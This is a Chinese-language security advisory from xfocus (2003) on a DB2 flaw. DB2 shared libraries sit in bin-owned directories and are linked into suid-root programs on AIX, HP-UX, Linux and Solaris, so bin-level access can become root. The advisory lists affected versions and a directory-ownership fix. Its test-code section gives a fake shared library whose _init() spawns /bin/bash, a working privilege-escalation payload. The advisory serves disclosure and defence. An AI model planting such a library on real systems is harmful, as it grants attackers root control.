xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IBM DB2共享程序库访问权限设置漏洞


发布时间:2003-08-05
更新时间:2003-08-05
严重程度:
威胁程度:权限提升
错误类型:配置错误
利用方式:服务器模式

BUGTRAQ ID:8346

受影响系统
IBM DB2 Universal Database for AIX 6.0    
IBM DB2 Universal Database for AIX 6.1    
IBM DB2 Universal Database for AIX 7.0    
IBM DB2 Universal Database for AIX 7.1    
IBM DB2 Universal Database for AIX 7.2    
IBM DB2 Universal Database for AIX 8.0    
IBM DB2 Universal Database for AIX 8.1    
IBM DB2 Universal Database for HP-UX 6.0  
IBM DB2 Universal Database for HP-UX 6.1  
IBM DB2 Universal Database for HP-UX 7.0  
IBM DB2 Universal Database for HP-UX 7.1  
IBM DB2 Universal Database for HP-UX 7.2  
IBM DB2 Universal Database for HP-UX 8.0  
IBM DB2 Universal Database for HP-UX 8.1  
IBM DB2 Universal Database for Linux 6.0  
IBM DB2 Universal Database for Linux 6.1  
   -Caldera OpenLinux 2.4                
   -RedHat Linux 7.0                      
   -S.u.S.E. Linux 7.0                    
   -TurboLinux Turbo Linux 6.0.4          
IBM DB2 Universal Database for Linux 7.0  
IBM DB2 Universal Database for Linux 7.1  
IBM DB2 Universal Database for Linux 7.2  
IBM DB2 Universal Database for Linux 8.0  
IBM DB2 Universal Database for Linux 8.1  
IBM DB2 Universal Database for Solaris 6.0
IBM DB2 Universal Database for Solaris 6.1
IBM DB2 Universal Database for Solaris 7.0
IBM DB2 Universal Database for Solaris 7.1
IBM DB2 Universal Database for Solaris 7.2
IBM DB2 Universal Database for Solaris 8.0
IBM DB2 Universal Database for Solaris 8.1
详细描述
IBM DB2自带了一些共享程序库存放在以bin用户及组属性的目录内,因为这些程序库被链接到suid root的程序,这些程序库的低安全安装属性就可能造成安全漏洞,如果攻击者获取了bin用户权限,他可能用恶意的程序替换这些程序库,当suid root的程序使用这些程序库时导致攻击者以root用户权限执行任意命令。

测试代码
可以使用如下的假程序库程序:

#include <stdio.h>
#include <string.h>

_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
system("/bin/bash");
printf("Saliendo del Init()\n");
}

解决方案
改变如下目录的属主:

/usr/IBMdb2/V7.1:

drwxr-xr-x 2 bin bin 4096 Jun 21 2002 java12
drwxr-xr-x 2 bin bin 4096 Jul 30 19:54 lib
drwxr-xr-x 2 bin bin 4096 Jun 21 2002 map


/opt/IBM/db2/V8.1/:

drwxr-xr-x 2 bin bin 4096 Dec 11 2002 java
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 lib
drwxr-xr-x 30 bin bin 4096 Dec 11 2002 license
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 map

相关信息
Slight privilege elevation from bin to root in IBM DB2 7.1 - 8.1 all binaries
http://archives.neohapsis.com/archives/bugtraq/2003-08/0048.html